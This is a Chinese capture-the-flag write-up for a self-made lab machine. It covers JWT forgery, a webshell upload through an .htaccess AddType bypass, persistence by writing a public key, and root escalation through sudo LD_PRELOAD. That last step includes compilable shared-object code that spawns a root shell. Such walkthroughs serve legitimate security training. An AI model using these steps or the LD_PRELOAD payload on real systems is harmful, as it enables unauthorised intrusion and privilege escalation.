自制靶机 WP

端口扫描

仅开放了 22，80 端口

WEB

网站首页是一个纯静态页面，查看注释可发现隐藏目录

base64 解码得路径/74221

登录框有一个弱口令test:123456, 登录进去

提示没有文件上传的权限，结合 cookie 字段联想到伪造 jwt 越权

这里留了两个口子：可以用空密钥，也可以爆破出密钥为jwtsecret123

伪造成功后，查看 dashboard 界面会发现我们的身份是 admin

接着来到上传文件处，仅允许上传 jpg 或 png 后缀的文件

测试后会发现能上传.htaccess 文件，故上传之，内容如下

Copy
AddType application/x-httpd-php .jpg

此时再上传一个 jpg 图片马即可拿到 webshell

后渗透

www-data to pentester

找到两个密文，它们分别藏在
/etc/passwd
/srv/...

密文如下：

Copy
Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...

Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu...

仔细观察后发现，两段文字有区别的地方就是 1，没区别的就是 0，可以得到一串二进制数，转为 bytes 可以得到密码

参考解法：

Copy
cat a.txt|sed 's/./&\n/g' >aa.txt
cat b.txt|sed 's/./&\n/g' >bb.txt
paste aa.txt bb.txt|awk '{if($1==$2){print 0}else{print 1}}'|xargs|tr -d ' '|fold -w8 | while read bin; do printf "%02X" "$((2#$bin))"; done | xxd -r -p

获得 pentester 用户的密码 Y0U_5M4SH3D_17_8UDDY

pentester to xiix

注意 sudo find 是个兔子洞，过滤了可能导致提权的选项（当然如果你真的通过该后门提权到 root 算你厉害）

查看端口发现 8989 开放

其实它对应着一个每分钟触发的 python 脚本

nc 127.0.0.1 8989 输入上面拿到的密码，即可拿到 xiix 用户的 shell，由于不是交互式 shell，故可以写入公钥文件持久化

xiix to root

guess_name 脚本猜数，成功概率为 1%，可以编写多线程脚本爆破。此处藏了两个后门：env 查看环境变量，输入 1337 即可通关；

此外脚本运行时会将密码写入隐藏文件 /tmp/.hidden_clue

运行pspy -f便可检测到：

Anyway，拿到 xiix 用户密码superxiix

然后 sudo -l，发现有 env_keep+=LD_PRELOAD

这是一个经典的提权点

首先编译 shell.so：

Copy
#include <stdio.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

然后执行：sudo LD_PRELOAD=/home/xiix/shell.so whoami，即可获得 root shell。